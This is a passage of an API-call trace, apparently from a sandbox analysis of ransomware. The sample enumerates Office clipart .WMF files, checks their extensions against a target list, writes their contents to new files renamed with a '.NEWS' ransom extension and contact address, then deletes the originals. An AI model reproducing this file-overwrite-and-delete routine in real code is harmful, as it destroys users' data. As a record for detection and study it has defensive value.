lpString2=".WMF") returned 1 [0080.232] lstrlenW (lpString=".xlsx") returned 5 [0080.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.232] lstrlenW (lpString=".ppt") returned 4 [0080.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.232] lstrlenW (lpString=".zip") returned 4 [0080.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.232] lstrlenW (lpString=".rar") returned 4 [0080.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.232] lstrlenW (lpString=".bz2") returned 4 [0080.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.232] lstrlenW (lpString=".7z") returned 3 [0080.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.232] lstrlenW (lpString=".dbf") returned 4 [0080.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.232] lstrlenW (lpString=".1cd") returned 4 [0080.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0080.232] lstrlenW (lpString=".jpg") returned 4 [0080.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.232] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.232] lstrlenW (lpString="BL00265_.WMF") returned 12 [0080.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.233] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5752) returned 1 [0080.233] CloseHandle (hObject=0x33c) returned 1 [0080.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0080.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.234] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.234] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.234] GetLastError () returned 0x0 [0080.234] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1678, lpOverlapped=0x0) returned 1 [0080.236] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1680, lpOverlapped=0x0) returned 1 [0080.237] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.237] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.237] SetEndOfFile (hFile=0x354) returned 1 [0080.237] CloseHandle (hObject=0x354) returned 1 [0080.238] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.238] SetEndOfFile (hFile=0x33c) returned 1 [0080.239] CloseHandle (hObject=0x33c) returned 1 [0080.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0080.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.239] lstrlenW (lpString=".doc") returned 4 [0080.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.239] lstrlenW (lpString=".docx") returned 5 [0080.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.239] lstrlenW (lpString=".pdf") returned 4 [0080.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString=".xls") returned 4 [0080.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.240] lstrlenW (lpString=".xlsx") returned 5 [0080.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.240] lstrlenW (lpString=".ppt") returned 4 [0080.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.240] lstrlenW (lpString=".zip") returned 4 [0080.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.240] lstrlenW (lpString=".rar") returned 4 [0080.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString=".bz2") returned 4 [0080.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString=".7z") returned 3 [0080.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.240] lstrlenW (lpString=".dbf") returned 4 [0080.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.240] lstrlenW (lpString=".1cd") returned 4 [0080.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.240] lstrlenW (lpString=".jpg") returned 4 [0080.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.240] lstrlenW (lpString=".doc") returned 4 [0080.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString=".docx") returned 5 [0080.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.240] lstrlenW (lpString=".pdf") returned 4 [0080.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.240] lstrlenW (lpString=".xls") returned 4 [0080.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.240] lstrlenW (lpString=".xlsx") returned 5 [0080.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.241] lstrlenW (lpString=".ppt") returned 4 [0080.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.241] lstrlenW (lpString=".zip") returned 4 [0080.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.241] lstrlenW (lpString=".rar") returned 4 [0080.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.241] lstrlenW (lpString=".bz2") returned 4 [0080.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.241] lstrlenW (lpString=".7z") returned 3 [0080.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.241] lstrlenW (lpString=".dbf") returned 4 [0080.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.241] lstrlenW (lpString=".1cd") returned 4 [0080.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0080.241] lstrlenW (lpString=".jpg") returned 4 [0080.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.241] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.241] lstrlenW (lpString="BL00267_.WMF") returned 12 [0080.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.241] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2644) returned 1 [0080.242] CloseHandle (hObject=0x33c) returned 1 [0080.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0080.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.242] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.242] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.242] GetLastError () returned 0x0 [0080.243] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xa54, lpOverlapped=0x0) returned 1 [0080.244] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xa60, lpOverlapped=0x0) returned 1 [0080.245] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.245] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.245] SetEndOfFile (hFile=0x354) returned 1 [0080.245] CloseHandle (hObject=0x354) returned 1 [0080.246] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.246] SetEndOfFile (hFile=0x33c) returned 1 [0080.247] CloseHandle (hObject=0x33c) returned 1 [0080.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0080.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.247] lstrlenW (lpString=".doc") returned 4 [0080.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.247] lstrlenW (lpString=".docx") returned 5 [0080.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.248] lstrlenW (lpString=".pdf") returned 4 [0080.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString=".xls") returned 4 [0080.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.248] lstrlenW (lpString=".xlsx") returned 5 [0080.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.248] lstrlenW (lpString=".ppt") returned 4 [0080.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.248] lstrlenW (lpString=".zip") returned 4 [0080.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.248] lstrlenW (lpString=".rar") returned 4 [0080.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString=".bz2") returned 4 [0080.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString=".7z") returned 3 [0080.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.248] lstrlenW (lpString=".dbf") returned 4 [0080.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.248] lstrlenW (lpString=".1cd") returned 4 [0080.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.248] lstrlenW (lpString=".jpg") returned 4 [0080.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.248] lstrlenW (lpString=".doc") returned 4 [0080.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString=".docx") returned 5 [0080.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.248] lstrlenW (lpString=".pdf") returned 4 [0080.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.248] lstrlenW (lpString=".xls") returned 4 [0080.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.249] lstrlenW (lpString=".xlsx") returned 5 [0080.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.249] lstrlenW (lpString=".ppt") returned 4 [0080.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.249] lstrlenW (lpString=".zip") returned 4 [0080.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.249] lstrlenW (lpString=".rar") returned 4 [0080.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.249] lstrlenW (lpString=".bz2") returned 4 [0080.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.249] lstrlenW (lpString=".7z") returned 3 [0080.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.249] lstrlenW (lpString=".dbf") returned 4 [0080.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.249] lstrlenW (lpString=".1cd") returned 4 [0080.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68 [0080.249] lstrlenW (lpString=".jpg") returned 4 [0080.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.249] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.249] lstrlenW (lpString="BL00269_.WMF") returned 12 [0080.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.250] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5272) returned 1 [0080.250] CloseHandle (hObject=0x33c) returned 1 [0080.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0080.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.250] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.250] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0080.251] GetLastError () returned 0x0 [0080.251] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1498, lpOverlapped=0x0) returned 1 [0080.252] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0080.253] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.253] WriteFile (in: hFile=0x354, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.253] SetEndOfFile (hFile=0x354) returned 1 [0080.253] CloseHandle (hObject=0x354) returned 1 [0080.254] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.254] SetEndOfFile (hFile=0x33c) returned 1 [0080.698] CloseHandle (hObject=0x33c) returned 1 [0080.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString=".doc") returned 4 [0080.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString=".docx") returned 5 [0080.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.699] lstrlenW (lpString=".pdf") returned 4 [0080.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString=".xls") returned 4 [0080.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.699] lstrlenW (lpString=".xlsx") returned 5 [0080.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.699] lstrlenW (lpString=".ppt") returned 4 [0080.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString=".zip") returned 4 [0080.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.699] lstrlenW (lpString=".rar") returned 4 [0080.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString=".bz2") returned 4 [0080.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString=".7z") returned 3 [0080.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString=".dbf") returned 4 [0080.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString=".1cd") returned 4 [0080.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString=".jpg") returned 4 [0080.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.699] lstrlenW (lpString=".doc") returned 4 [0080.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString=".docx") returned 5 [0080.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.700] lstrlenW (lpString=".pdf") returned 4 [0080.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString=".xls") returned 4 [0080.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.700] lstrlenW (lpString=".xlsx") returned 5 [0080.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.700] lstrlenW (lpString=".ppt") returned 4 [0080.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString="C:\\Program Files\\Microsoft 